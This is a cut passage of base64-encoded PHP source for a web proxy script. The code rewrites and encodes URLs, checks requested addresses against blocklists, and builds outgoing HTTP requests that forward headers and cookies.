2VycGFzczsgfQ0KCWZ1bmN0aW9uIGdldF9zZXJ2ZXJuYW1lKCl7IHJldHVybiAkdGhpcy0+c2VydmVybmFtZTsgfQ0KCWZ1bmN0aW9uIHNldF9zZXJ2ZXJuYW1lKCRzZXJ2ZXJuYW1lPW51bGwpeyAkdGhpcy0+c2VydmVybmFtZT0kc2VydmVybmFtZTsgfQ0KCWZ1bmN0aW9uIGdldF9wb3J0dmFsKCl7IHJldHVybiAoZW1wdHkoJHRoaXMtPnBvcnR2YWwpPygkdGhpcy0+Z2V0X3Byb3RvKCk9PSdodHRwcyc/JzQ0Myc6JzgwJyk6JHRoaXMtPnBvcnR2YWwpOyB9DQoJZnVuY3Rpb24gc2V0X3BvcnR2YWwoJHBvcnQ9bnVsbCl7ICR0aGlzLT5wb3J0dmFsPXN0cnZhbCgoaW50dmFsKCRwb3J0KSE9ODApPyRwb3J0Om51bGwpOyB9DQoJZnVuY3Rpb24gZ2V0X3BhdGgoKXsNCgkJaWYoc3RycG9zKCR0aGlzLT5wYXRoLCcvLi4vJykhPT1mYWxzZSkgJHRoaXMtPnBhdGg9cHJlZ19yZXBsYWNlKCcvKD86XC9bXlwvXSspezAsMX1cL1wuXC5cLy8nLCcvJywkdGhpcy0+cGF0aCk7DQoJCWlmKHN0cnBvcygkdGhpcy0+cGF0aCwnLy4vJykhPT1mYWxzZSkgd2hpbGUoKCRwYXRoPXN0cl9yZXBsYWNlKCcvLi8nLCcvJywkdGhpcy0+cGF0aCkpICYmICRwYXRoIT0kdGhpcy0+cGF0aCkgJHRoaXMtPnBhdGg9JHBhdGg7DQoJCXJldHVybiAkdGhpcy0+cGF0aDsNCgl9DQoJZnVuY3Rpb24gc2V0X3BhdGgoJHBhdGg9bnVsbCl7ICR0aGlzLT5wYXRoPShlbXB0eSgkcGF0aCk/Jy8nOiRwYXRoKTsgfQ0KCWZ1bmN0aW9uIGdldF9maWxlKCl7IHJldHVybiAkdGhpcy0+ZmlsZTsgfQ0KCWZ1bmN0aW9uIHNldF9maWxlKCRmaWxlPW51bGwpeyAkdGhpcy0+ZmlsZT0kZmlsZTsgfQ0KCWZ1bmN0aW9uIGdldF9xdWVyeSgpeyByZXR1cm4gJHRoaXMtPnF1ZXJ5OyB9DQoJZnVuY3Rpb24gc2V0X3F1ZXJ5KCRxdWVyeT1udWxsKXsgJHRoaXMtPnF1ZXJ5PSRxdWVyeTsgfQ0KCWZ1bmN0aW9uIGdldF9sYWJlbCgpeyByZXR1cm4gJHRoaXMtPmxhYmVsOyB9DQoJZnVuY3Rpb24gc2V0X2xhYmVsKCRsYWJlbD1udWxsKXsgJHRoaXMtPmxhYmVsPSRsYWJlbDsgfQ0KDQoJZnVuY3Rpb24gZ2V0X3VybCgkd2l0aGxhYmVsPXRydWUpew0KCQlpZigkdGhpcy0+bG9ja2VkKSByZXR1cm4gJHRoaXMtPnVybDsNCgkJcmV0dXJuICR0aGlzLT5nZXRfcHJvdG8oKS4nOi8vJy4NCgkJICAgICAgICgkdGhpcy0+Z2V0X3VzZXJwYXNzKCk9PW51bGw/bnVsbDokdGhpcy0+Z2V0X3VzZXJwYXNzKCkuJ0AnKS4NCgkJICAgICAgICR0aGlzLT5nZXRfc2VydmVybmFtZSgpLg0KCQkgICAgICAgKCgkdGhpcy0+Z2V0X3Byb3RvKCk9PSdodHRwcycgJiYgaW50dmFsKCR0aGlzLT5nZXRfcG9ydHZhbCgpKT09NDQzKSB8fCBpbnR2YWwoJHRoaXMtPmdldF9wb3J0dmFsKCkpPT04MD9udWxsOic6Jy5pbnR2YWwoJHRoaXMtPmdldF9wb3J0dmFsKCkpKS4NCgkJICAgICAgICR0aGlzLT5nZXRfcGF0aCgpLiR0aGlzLT5nZXRfZmlsZSgpLg0KCQkgICAgICAgKCR0aGlzLT5nZXRfcXVlcnkoKT09bnVsbD9udWxsOic/Jy4kdGhpcy0+Z2V0X3F1ZXJ5KCkpLg0KCQkgICAgICAgKCR3aXRobGFiZWwgJiYgJHRoaXMtPmdldF9sYWJlbCgpPT1udWxsP251bGw6JyMnLiR0aGlzLT5nZXRfbGFiZWwoKSkNCgkJOw0KCX0NCg0KCWZ1bmN0aW9uIHN1cnJvZ2FmeSgpew0KCQkkbGFiZWw9JHRoaXMtPmdldF9sYWJlbCgpOw0KCQkkdGhpcy0+c2V0X2xhYmVsKCk7DQoJCSR1cmw9JHRoaXMtPmdldF91cmwoKTsNCgkJJHRoaXMtPnNldF9sYWJlbCgkbGFiZWwpOw0KDQoJCSMkdGhpcy0+ZGV0ZXJtaW5lX2xvY2tlZCgpOw0KCQlpZigkdGhpcy0+bG9ja2VkKSByZXR1cm4gJHVybDsNCgkJIyB8fCAkdGhpcy0+Z2V0X3Byb3RvKCkuJHRoaXMtPmdldF9maWVsZHJlcSgyLCR0aGlzLT5nZXRfdXNlcnBhc3MoKSkuJHRoaXMtPmdldF9zZXJ2ZXJuYW1lKCkuJHRoaXMtPmdldF9wYXRoKCkuJHRoaXMtPmdldF9maWxlKCk9PVRISVNfU0NSSVBUKSByZXR1cm4gJHVybDsNCg0KCQlpZihFTkNSWVBUX1VSTFMgJiYgISR0aGlzLT5sb2NrZWQpICR1cmw9cHJveGVuYygkdXJsKTsNCgkJIyR1cmw9VEhJU19TQ1JJUFQuJz89Jy4oIUVOQ1JZUFRfVVJMUz91cmxlbmNvZGUoJHVybCk6JHVybCkuKCFlbXB0eSgkbGFiZWwpPyIjJGxhYmVsIjpudWxsKTsgIyB1cmxlbmNvZGVkDQoJCSR1cmw9VEhJU19TQ1JJUFQuIj89eyR1cmx9Ii4oIWVtcHR5KCRsYWJlbCk/IiMkbGFiZWwiOm51bGwpOw0KCQlyZXR1cm4gJHVybDsNCgl9DQp9IA0KDQojIH19fQ0KDQojIFBST1hZIEZVTkNUSU9OUzogVVJMIFBBUlNJTkcge3t7DQpmdW5jdGlvbiBzdXJyb2dhZnlfdXJsKCR1cmwsJHRvcHVybD1mYWxzZSwkYWRkcHJveHk9dHJ1ZSl7DQoJZ2xvYmFsICRjdXJyX3VybG9iajsNCgkvL2lmKHByZWdfbWF0Y2goJy9eKFsiXCddKS4qXDEkL2lzJywkdXJsKT4wKXsNCglpZigoJHVybHswfT09JyInICYmIHN1YnN0cigkdXJsLC0xKT09JyInKSB8fCAoJHVybHswfT09J1wnJyAmJiBzdWJzdHIoJHVybCwtMSk9PSdcJycpKXsNCgkJJHVybHF1b3RlPSR1cmx7MH07DQoJCSR1cmw9c3Vic3RyKCR1cmwsMSxzdHJsZW4oJHVybCktMik7DQoJfQ0KCWlmKCR0b3B1cmw9PT1mYWxzZSkgJHRvcHVybD0kY3Vycl91cmxvYmo7DQoJJHVybG9iaj1uZXcgYXVybCgkdXJsLCR0b3B1cmwpOw0KCSRuZXdfdXJsPSgkYWRkcHJveHk/JHVybG9iai0+c3Vycm9nYWZ5KCk6JHVybG9iai0+Z2V0X3VybCgpKTsNCglpZighZW1wdHkoJHVybHF1b3RlKSkgJG5ld191cmw9InskdXJscXVvdGV9eyRuZXdfdXJsfXskdXJscXVvdGV9IjsNCglyZXR1cm4gJG5ld191cmw7DQp9DQoNCmZ1bmN0aW9uIGZyYW1pZnlfdXJsKCR1cmwsJGZyYW1lX3R5cGU9ZmFsc2Upew0KCWlmKCgkZnJhbWVfdHlwZSE9PVBBR0VUWVBFX0ZSQU1FX1RPUCB8fCAhVVJMX0ZPUk0pICYmICgkZnJhbWVfdHlwZSE9PVBBR0VUWVBFX0ZSQU1FRF9QQUdFICYmICFQQUdFX0ZSQU1FRCkpIHJldHVybiAkdXJsOw0KCS8vaWYocHJlZ19tYXRjaCgnL14oWyJcJ10pLipcMSQvaXMnLCR1cmwpPjApew0KCWlmKCgkdXJsezB9PT0nIicgJiYgc3Vic3RyKCR1cmwsLTEpPT0nIicpIHx8ICgkdXJsezB9PT0nXCcnICYmIHN1YnN0cigkdXJsLC0xKT09J1wnJykpew0KCQkkdXJscXVvdGU9JHVybHswfTsNCgkJJHVybD1zdWJzdHIoJHVybCwxLHN0cmxlbigkdXJsKS0yKTsNCgl9DQoJaWYocHJlZ19tYXRjaChGUkFNRV9MT0NLX1JFR0VYUCwkdXJsKTw9MCl7DQoJCWlmKCRmcmFtZV90eXBlPT09UEFHRVRZUEVfRlJBTUVfVE9QICYmIFVSTF9GT1JNKSAkcXVlcnk9JyY9JzsNCgkJZWxzZWlmKCRmcmFtZV90eXBlPT09UEFHRVRZUEVfRlJBTUVEX0NISUxEKSAkcXVlcnk9Jy4mPSc7DQoJCWVsc2VpZigkZnJhbWVfdHlwZT09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFIHx8IFBBR0VfRlJBTUVEKSAkcXVlcnk9J18mPSc7DQoJCWVsc2UgJHF1ZXJ5PW51bGw7DQoJCSR1cmw9cHJlZ19yZXBsYWNlKCcvXihbXlw/XSopW1w/XT8nLlBBR0VUWVBFX01JTklSRUdFWFAuJyhbXiNdKj9bI10/Lio/KSQvJywiXFwxPz17JHF1ZXJ5fVxcMyIsJHVybCwxKTsNCgl9DQoJaWYoIWVtcHR5KCR1cmxxdW90ZSkpICR1cmw9InskdXJscXVvdGV9eyR1cmx9eyR1cmxxdW90ZX0iOw0KCXJldHVybiAkdXJsOw0KfQ0KDQpmdW5jdGlvbiBwcm94ZW5jKCR1cmwpew0KCWlmKCR1cmx7MH09PSd+JyB8fCBzdHJ0b2xvd2VyKHN1YnN0cigkdXJsLDAsMykpPT0nJTdlJykgcmV0dXJuICR1cmw7DQoJJHVybD11cmxlbmNvZGUoJHVybCk7DQoJJG5ld191cmw9bnVsbDsNCglmb3IoJGk9MDskaTxzdHJsZW4oJHVybCk7JGkrKyl7DQoJCSRjaGFyPW9yZCgkdXJseyRpfSk7DQoJCSRjaGFyKz1vcmQoc3Vic3RyKFNFU1NfUFJFRiwkaSVzdHJsZW4oU0VTU19QUkVGKSwxKSk7DQoJCXdoaWxlKCRjaGFyPjEyNikgJGNoYXItPTk0Ow0KCQkkbmV3X3VybC49Y2hyKCRjaGFyKTsNCgl9DQoJI3JldHVybiAnficuYmFzZTY0X2VuY29kZSgkbmV3X3VybCk7DQoJcmV0dXJuICd+Jy51cmxlbmNvZGUoYmFzZTY0X2VuY29kZSgkbmV3X3VybCkpOw0KfQ0KDQojIH19fQ0KDQojIFBST1hZIEZVTkNUSU9OUzogRVJST1JTICYgRVhJVElORyB7e3sNCg0KZnVuY3Rpb24gZmluaXNoX25vZXhpdCgpew0KCWdsb2JhbCAkZG5zX2NhY2hlX2FycmF5Ow0KCSMgc2F2ZSBETlMgQ2FjaGUgYmVmb3JlIGV4aXRpbmcNCgkkX1NFU1NJT05bJ0ROU19DQUNIRV9BUlJBWSddPSRkbnNfY2FjaGVfYXJyYXk7DQp9DQoNCmZ1bmN0aW9uIGZpbmlzaCgpew0KCWZpbmlzaF9ub2V4aXQoKTsNCglleGl0KCk7DQp9DQoNCmZ1bmN0aW9uIGhhdm9rKCRlcnJvcm5vLCRhcmcxPW51bGwsJGFyZzI9bnVsbCwkYXJnMz1udWxsKXsNCglnbG9iYWwgJGN1cnJfdXJsOw0KCSR1cmw9JGN1cnJfdXJsOw0KCXN3aXRjaCgkZXJyb3Jubyl7DQoJCWNhc2UgMToNCgkJCSRldD0nQmFkIElQIEFkZHJlc3MnOw0KCQkJJGVkPSJUaGUgSVAgYWRkcmVzcyBnaXZlbiAoeyRhcmcyfSkgaXMgYW4gaW1wb3NzaWJsZSBJUCBhZGRyZXNzLCBvciB0aGUgZG9tYWluIGdpdmVuICh7JGFyZzF9KSB3YXMgcmVzb2x2ZWQgdG8gYW4gaW1wb3NzaWJsZSBJUCBhZGRyZXNzLiI7DQoJCQlicmVhazsNCgkJY2FzZSAyOg0KCQkJJGV0PSdBZGRyZXNzIGlzIEJsb2NrZWQnOw0KCQkJJGVkPSJUaGUgYWRtaW5pc3RyYXRvciBvZiB0aGlzIHByb3h5IHNlcnZpY2UgaGFzIGRlY2lkZWQgdG8gYmxvY2sgdGhpcyBhZGRyZXNzLCBkb21haW4sIG9yIHN1Ym5ldC5cbjxiciAvPjxiciAvPlxuRG9tYWluOiB7JGFyZzF9XG48YnIgLz5cbkFkZHJlc3M6IHskYXJnMn0iOw0KCQkJYnJlYWs7DQoJCWNhc2UgMzoNCgkJCSRldD0nQ291bGQgTm90IFJlc29sdmUgRG9tYWluJzsNCgkJCSRlZD0iVGhlIGRvbWFpbiBvZiB0aGUgVVJMIGdpdmVuICh7JGFyZzF9KSBjb3VsZCBub3QgYmUgcmVzb2x2ZWQgZHVlIHRvIEROUyBpc3N1ZXMgb3IgYW4gZXJyb3JuZW91cyBkb21haW4gbmFtZS4iOw0KCQkJYnJlYWs7DQoJCWNhc2UgNDoNCgkJCSRldD0nQmFkIEZpbHRlcnMnOw0KCQkJJGVkPSdUaGUgYWRtaW5pc3RyYXRvciBvZiB0aGlzIHByb3h5IGhhcyBpbmNvcnJlY3RseSBjb25maWd1cmVkIGhpcyBkb21haW4gZmlsdGVycywgb3IgYSBkb21haW4gZ2l2ZW4gY291bGQgbm90IGJlIHJlc29sdmVkLic7DQoJCQlicmVhazsNCgkJY2FzZSA1Og0KCQkJJGV0PSdEb21haW4gaXMgQmxvY2tlZCc7DQoJCQkkZWQ9J1RoZSBhZG1pbmlzdHJhdG9yIG9mIHRoaXMgcHJveHkgaGFzIGRlY2lkZWQgdG8gYmxvY2sgdGhpcyBkb21haW4uJzsNCgkJCWJyZWFrOw0KCQljYXNlIDY6DQoJCQkkZXQ9J0NvdWxkIE5vdCBDb25uZWN0IHRvIFNlcnZlcic7DQoJCQkkZWQ9IkFuIGVycm9yIGhhcyBvY2N1cnJlZCB3aGlsZSBhdHRlbXB0aW5nIHRvIGNvbm5lY3QgdG8gXCJ7JGFyZzF9XCIgb24gcG9ydCBcInskYXJnMn1cIi4iOw0KCQkJYnJlYWs7DQoJCWNhc2UgNzoNCgkJCSRldD0nSW52YWxpZCBVUkwnOw0KCQkJJGVkPSdUaGUgVVJMIGJlbG93IHdhcyBkZXRlY3RlZCB0byBiZSBhbiBpbnZhbGlkIFVSTC4nOw0KCQkJJHVybD0kYXJnMTsNCgkJCWJyZWFrOw0KCX0NCgkkZWQuPSJcbjxiciAvPjxiciAvPlxuVVJMOiZuYnNwO3skdXJsfSI7DQo/Pg0KPGRpdiBzdHlsZT0iZm9udC1mYW1pbHk6IGJpdHN0cmVhbSB2ZXJhIHNhbnMsIHRyZWJ1Y2hldCBtcyI+PGRpdiBzdHlsZT0iYm9yZGVyOiAzcHggc29saWQgI0ZGRkZGRjsgcGFkZGluZzogMnB4Ij4NCgk8ZGl2IHN0eWxlPSJmbG9hdDogbGVmdDsgYm9yZGVyOiAxcHggc29saWQgIzYwMjAyMDsgcGFkZGluZzogMXB4OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGIj4NCgk8ZGl2IHN0eWxlPSJmbG9hdDogbGVmdDsgYmFja2dyb3VuZC1jb2xvcjogIzgwMTAxMDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtd2VpZ2h0OiBib2xkOyBmb250LXNpemU6IDU0cHg7IHBhZGRpbmc6IDJweDsgcGFkZGluZy1sZWZ0OiAxMnB4OyBwYWRkaW5nLXJpZ2h0OiAxMnB4Ij4hPC9kaXY+DQoJPC9kaXY+DQoJPGRpdiBzdHlsZT0iZmxvYXQ6IGxlZnQ7IHdpZHRoOiA1MDBweDsgcGFkZGluZy1sZWZ0OiAyMHB4Ij4NCgkJPGRpdiBzdHlsZT0iYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICMwMDAwMDA7IGZvbnQtc2l6ZTogMTJwdDsgdGV4dC1hbGlnbjogY2VudGVyOyBmb250LXdlaWdodDogYm9sZDsgcGFkZGluZzogMnB4Ij5FcnJvcjogPD9waHAgZWNobygkZXQpOyA/PjwvZGl2Pg0KCQk8ZGl2IHN0eWxlPSJwYWRkaW5nOiA2cHgiPjw/cGhwIGVjaG8oJGVkKTsgPz48L2Rpdj4NCgk8L2Rpdj4NCjwvZGl2PjwvZGl2Pg0KPD9waHAgZmluaXNoKCk7IH0NCg0KIyB9fX0NCg0KIyBQUk9YWSBGVU5DVElPTlM6IFRDUC9JUCB7e3sNCg0KZnVuY3Rpb24gaXBiaXR0ZXIoJGlwYWRkcil7DQoJJGlwc3BsaXQ9ZXhwbG9kZSgnLicsJGlwYWRkcik7DQoJZm9yKCRpPTA7JGk8NDskaSsrKXsNCgkJJGlwc3BsaXRbJGldPWRlY2JpbigkaXBzcGxpdFskaV0pOw0KCQkkaXBzcGxpdFskaV09c3RyX3JlcGVhdCgnMCcsOC1zdHJsZW4oJGlwc3BsaXRbJGldKSkuJGlwc3BsaXRbJGldOw0KCX0NCglyZXR1cm4gaW1wbG9kZShudWxsLCRpcHNwbGl0KTsNCn0NCg0KZnVuY3Rpb24gaXBjb21wYXJlKCRpcHJhbmdlLCRpcCl7DQoJJGlwcmFycj1zcGxpdCgnLycsJGlwcmFuZ2UpOw0KCSRpcGFkZHI9JGlwcmFyclswXTsNCgkkbWFzaz0kaXByYXJyWzFdOw0KCSRtYXNrYml0cz1zdHJfcmVwZWF0KCcxJywkbWFzaykuc3RyX3JlcGVhdCgnMCcsJG1hc2spOw0KCSRpcGJpdHM9aXBiaXR0ZXIoJGlwYWRkcik7DQoJJGlwYml0czI9aXBiaXR0ZXIoJGlwKTsNCglyZXR1cm4gKCgkaXBiaXRzICYgJG1hc2tiaXRzKT09KCRpcGJpdHMyICYgJG1hc2tiaXRzKSk7DQp9DQoNCmZ1bmN0aW9uIGlwX2NoZWNrKCRpcCwkbWFzaz1mYWxzZSl7DQoJJGlwc2VnPScoPzpbMDFdP1swLTldezEsMn18Mig/OjVbMC01XXxbMC00XVswLTldKSknOw0KCXJldHVybiBwcmVnX21hdGNoKCIvXig/OiRpcHNlZ1wuKXswLDN9JGlwc2VnIi4oJG1hc2s/J1wvWzAtOV17MSwyfSc6bnVsbCkuJyQvaScsJGlwKTsgIyoNCn0NCg0KZnVuY3Rpb24gZ2V0aG9zdGJ5bmFtZV9jYWNoZWl0KCRhZGRyZXNzKXsNCglnbG9iYWwgJGRuc19jYWNoZV9hcnJheTsNCgkkaXBhZGRyPWdldGhvc3RieW5hbWUoJGFkZHJlc3MpOw0KCSRkbnNfY2FjaGVfYXJyYXlbJGFkZHJlc3NdPWFycmF5KCd0aW1lJz0+dGltZSgpLCAnaXBhZGRyJz0+JGlwYWRkcik7DQoJcmV0dXJuICRpcGFkZHI7DQp9DQoNCmZ1bmN0aW9uIGdldGhvc3RieW5hbWVfY2FjaGVkKCRhZGRyZXNzKXsNCglnbG9iYWwgJGRuc19jYWNoZV9hcnJheTsNCglpZihpc3NldCgkZG5zX2NhY2hlX2FycmF5WyRhZGRyZXNzXSkpIHJldHVybiAkZG5zX2NhY2hlX2FycmF5WyRhZGRyZXNzXVsnaXBhZGRyJ107DQoJcmV0dXJuIGdldGhvc3RieW5hbWVfY2FjaGVpdCgkYWRkcmVzcyk7DQp9DQoNCmZ1bmN0aW9uIGdldF9jaGVjaygkYWRkcmVzcyl7DQoJZ2xvYmFsICRibG9ja2VkX2FkZHJlc3NlczsNCglpZihzdHJyY2hyKCRhZGRyZXNzLCcvJykpICRhZGRyZXNzPXN1YnN0cihzdHJyY2hyKCRhZGRyZXNzLCcvJyksMSk7DQoJJGlwYz1pcF9jaGVjaygkYWRkcmVzcyk7DQoJJGFkZHJlc3NpcD0oaXBfY2hlY2soJGFkZHJlc3MpPyRhZGRyZXNzOmdldGhvc3RieW5hbWVfY2FjaGVkKCRhZGRyZXNzKSk7DQoJaWYoIWlwX2NoZWNrKCRhZGRyZXNzaXApKSBoYXZvaygxLCRhZGRyZXNzLCRhZGRyZXNzaXApOw0KCWZvcmVhY2goJGJsb2NrZWRfYWRkcmVzc2VzIGFzICRiYWRkKXsNCgkJaWYoISRpcGMpIGlmKHN0cmxlbigkYmFkZCk8PXN0cmxlbigkYWRkcmVzcykgJiYgc3Vic3RyKCRhZGRyZXNzLHN0cmxlbigkYWRkcmVzcyktc3RybGVuKCRiYWRkKSxzdHJsZW4oJGJhZGQpKT09JGJhZGQpIGhhdm9rKDUpOw0KCQlpZigkYmFkZD09JGFkZHJlc3NpcCkgaGF2b2soMiwkYWRkcmVzcywkYWRkcmVzc2lwKTsNCgkJZWxzZWlmKGlwX2NoZWNrKCRiYWRkLHRydWUpKXsgaWYoaXBjb21wYXJlKCRiYWRkLCRhZGRyZXNzaXApKSBoYXZvaygyLCRhZGRyZXNzLCRhZGRyZXNzaXApOyB9DQoJCWVsc2V7DQoJCQkkYmFkZGlwPWdldGhvc3RieW5hbWVfY2FjaGVkKCRiYWRkKTsNCgkJCWlmKGVtcHR5KCRiYWRkaXApKSBoYXZvayg0KTsNCgkJCWlmKCRiYWRkaXA9PSRhZGRyZXNzaXApIGhhdm9rKDIsJGFkZHJlc3MsJGFkZHJlc3NpcCk7DQoJCX0NCgl9DQoJcmV0dXJuICRhZGRyZXNzaXA7DQp9DQoNCiMgfX19DQoNCiMgUFJPWFkgRlVOQ1RJT05TOiBIVFRQIHt7ew0KDQpmdW5jdGlvbiBodHRwY2xlYW4oJHN0cil7IHJldHVybiBzdHJfcmVwbGFjZSgnICcsJysnLHByZWdfcmVwbGFjZSgnLyhbXiI6XC1fXC4wLTlhLXogXSkvaWUnLCdcJyVcJy4oc3RybGVuKGRlY2hleChvcmQoXCdcMVwnKSkpPT0xP1wnMFwnOm51bGwpLnN0cnRvdXBwZXIoZGVjaGV4KG9yZChcJ1wxXCcpKSknLCRzdHIpKTsgfQ0KDQpmdW5jdGlvbiBnZXRwYWdlKCR1cmwpew0KCWdsb2JhbCAkaGVhZGVycywkb3V0LCRwb3N0X3ZhcnMsJHByb3h5X3ZhcmlhYmxlcywkcmVmZXJlcjsNCg0KCSR1cmxvYmo9bmV3IGF1cmwoJHVybCk7DQoJJHF1ZXJ5PSR1cmxvYmotPmdldF9xdWVyeSgpOw0KCSRyZXF1cmw9JHVybG9iai0+Z2V0X3BhdGgoKS4kdXJsb2JqLT5nZXRfZmlsZSgpLighZW1wdHkoJHF1ZXJ5KT8iP3skcXVlcnl9IjpudWxsKTsNCg0KCSRodHRwX2F1dGg9bnVsbDsNCglpZihleHRlbnNpb25fbG9hZGVkKCdhcGFjaGUnKSl7DQoJCSRmYWlsPWZhbHNlOw0KCQkkY2hlYWRlcnM9Z2V0YWxsaGVhZGVycygpOw0KCQkkaHR0cF9hdXRoPSRyZXFhcnJheVsnQXV0aG9yaXphdGlvbiddOw0KCX0NCgllbHNlICRmYWlsPXRydWU7DQoNCgkkYXV0aG9yaXphdGlvbj0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfQVVUSE9SSVpBVElPTiddOiRjaGVhZGVyc1snQXV0aG9yaXphdGlvbiddKTsNCgkkY2FjaGVfY29udHJvbD0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfQ0FDSEVfQ09OVFJPTCddOiRjaGVhZGVyc1snQ2FjaGUtQ29udHJvbCddKTsNCgkkaWZfbW9kaWZpZWQ9KCRmYWlsPyRfU0VSVkVSWydIVFRQX0lGX01PRElGSUVEX1NJTkNFJ106JGNoZWFkZXJzWydJZi1Nb2RpZmllZC1TaW5jZSddKTsNCgkkaWZfbm9uZV9tYXRjaD0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfSUZfTk9ORV9NQVRDSCddOiRjaGVhZGVyc1snSWYtTm9uZS1NYXRjaCddKTsNCg0KCWlmKCRmYWlsKXsNCgkJaWYoIWVtcHR5KCRhdXRob3JpemF0aW9uKSkgJGh0dHBfYXV0aD0kYXV0aG9yaXphdGlvbjsNCgkJZWxzZWlmKCFlbXB0eSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSAmJiAhZW1wdHkoJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pKQ0KCQkJJGh0dHBfYXV0aD0nQmFzaWMgJy5iYXNlNjRfZW5jb2RlKCJ7JF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXX06eyRfU0VSVkVSWydQSFBfQVVUSF9QVyddfSIpOw0KCQllbHNlaWYoIWVtcHR5KCRfU0VSVkVSWydQSFBfQVVUSF9ESUdFU1QnXSkpICRodHRwX2F1dGg9IkRpZ2VzdCB7JF9TRVJWRVJbJ1BIUF9BVVRIX0RJR0VTVCddfSI7DQoJfQ0KDQoJaWYoUElQIT1udWxsICYmIFBQT1JUIT1udWxsKXsNCgkJJHNlcnZlcm5hbWU9UElQOw0KCQkkaXBhZGRyZXNzPWdldF9jaGVjayhQSVApOw0KCQkkcG9ydHZhbD1QUE9SVDsNCgkJJHJlcXVybD0kdXJsb2JqLT5nZXRfdXJsKGZhbHNlKTsNCgl9DQoJZWxzZXsNCgkJJHNlcnZlcm5hbWU9JHVybG9iai0+Z2V0X3NlcnZlcm5hbWUoKTsNCgkJJGlwYWRkcmVzcz0oJHVybG9iai0+Z2V0X3Byb3RvKCk9PSdzc2wnIHx8ICR1cmxvYmotPmdldF9wcm90bygpPT0naHR0cHMnPydzc2w6Ly8nOm51bGwpLmdldF9jaGVjaygkc2VydmVybmFtZSk7DQoJCSRwb3J0dmFsPSR1cmxvYmotPmdldF9wb3J0dmFsKCk7DQoJfQ0KDQoJJG91dD0ieyRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddfSAiLnN0cl9yZXBsYWNlKCcgJywnJTIwJywkcmVxdXJsKS4iIEhUVFAvMS4xXHJcbkhvc3Q6ICIuJHVybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4oKCRwb3J0dmFsIT04MCAmJiAoJHVybG9iai0+Z2V0X3Byb3RvKCk9PSdodHRwcyc/JHBvcnR2YWwhPTQ0Mzp0cnVlKSk/IjokcG9ydHZhbCI6bnVsbCkuIlxyXG4iOw0KDQoJZ2xvYmFsICR1c2VyYWdlbnQ7DQoJJHVzZXJhZ2VudD1udWxsOw0KCWlmKCRfQ09PS0lFW0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddIT0nLTEnKXsNCgkJJHVzZXJhZ2VudD0kX0NPT0tJRVtDT09LX1BSRUYuJ191c2VyYWdlbnQnXTsNCgkJaWYoZW1wdHkoJHVzZXJhZ2VudCkpICR1c2VyYWdlbnQ9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KCQkkdXNlcmFnZW50X2Nvb2s9KCR1c2VyYWdlbnQ9PTE/JF9DT09LSUVbQ09PS19QUkVGLidfdXNlcmFnZW50dGV4dCddOiR1c2VyYWdlbnQpOw0KCQlpZighZW1wdHkoJHVzZXJhZ2VudF9jb29rKSkgJG91dC49IlVzZXItQWdlbnQ6ICR1c2VyYWdlbnRfY29va1xyXG4iOw0KCX0NCglpZighZW1wdHkoJGh0dHBfYXV0aCkpICRvdXQuPSJBdXRob3JpemF0aW9uOiAkaHR0cF9hdXRoXHJcbiI7DQoNCglpZihlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfcmVmZXJlciddKSAmJiAhZW1wdHkoJHJlZmVyZXIpKSAkb3V0Lj0nUmVmZXJlcjogJy5zdHJfcmVwbGFjZSgnICcsJysnLCRyZWZlcmVyKS4iXHJcbiI7DQoJaWYoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ109PSdQT1NUJykgJG91dC49J0NvbnRlbnQtTGVuZ3RoOiAnLnN0cmxlbigkcG9zdF92YXJzKS4iXHJcbkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkXHJcbiI7DQoNCgkkY29va19wcmVmZG9tYWluPXByZWdfcmVwbGFjZSgnL153d3dcLi9pJyxudWxsLCR1cmxvYmotPmdldF9zZXJ2ZXJuYW1lKCkpOyAjKg0KCSRjb29rX3ByZWZpeD1zdHJfcmVwbGFjZSgnLicsJ18nLCRjb29rX3ByZWZkb21haW4pLkNPT0tJRV9TRVBBUkFUT1I7DQoJaWYoY291bnQoJF9DT09LSUUpPjAgJiYgZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX2Nvb2tpZXMnXSkpew0KCQkkYWRkdG9vdXQ9bnVsbDsNCgkJcmVzZXQoJF9DT09LSUUpOw0KCQl3aGlsZShsaXN0KCRrZXksJHZhbCk9ZWFjaCgkX0NPT0tJRSkpew0KCQkJaWYoRU5DUllQVF9DT09LUyl7DQoJCQkJJGtleT1wcm94ZGVjKCRrZXkpOw0KCQkJCSR2YWw9cHJveGRlYygkdmFsKTsgI3VybGRlY29kZSgkdmFsKSk7DQoJCQl9DQoJCQlpZihzdHJfcmVwbGFjZShDT09LSUVfU0VQQVJBVE9SLG51bGwsJGtleSk9PSRrZXkpIGNvbnRpbnVlOw0KCQkJIyRjb29rX2RvbWFpbj1wcmVnX3JlcGxhY2UoJy9eKC4qJy5DT09LSUVfU0VQQVJBVE9SLicpLiokLycsJ1wxJywka2V5KTsgIyoqDQoJCQkkY29va19kb21haW49c3Vic3RyKCRrZXksMCxzdHJwb3MoJGtleSxDT09LSUVfU0VQQVJBVE9SKSkuQ09PS0lFX1NFUEFSQVRPUjsNCgkJCWlmKHN1YnN0cigkY29va19wcmVmaXgsc3RybGVuKCRjb29rX3ByZWZpeCktc3RybGVuKCRjb29rX2RvbWFpbiksc3RybGVuKCRjb29rX2RvbWFpbikpIT0kY29va19kb21haW4pIGNvbnRpbnVlOw0KCQkJJGtleT1zdWJzdHIoJGtleSxzdHJsZW4oJGNvb2tfZG9tYWluKSxzdHJsZW4oJGtleSktc3RybGVuKCRjb29rX2RvbWFpbikpOw0KCQkJaWYoIWluX2FycmF5KCRrZXksJHB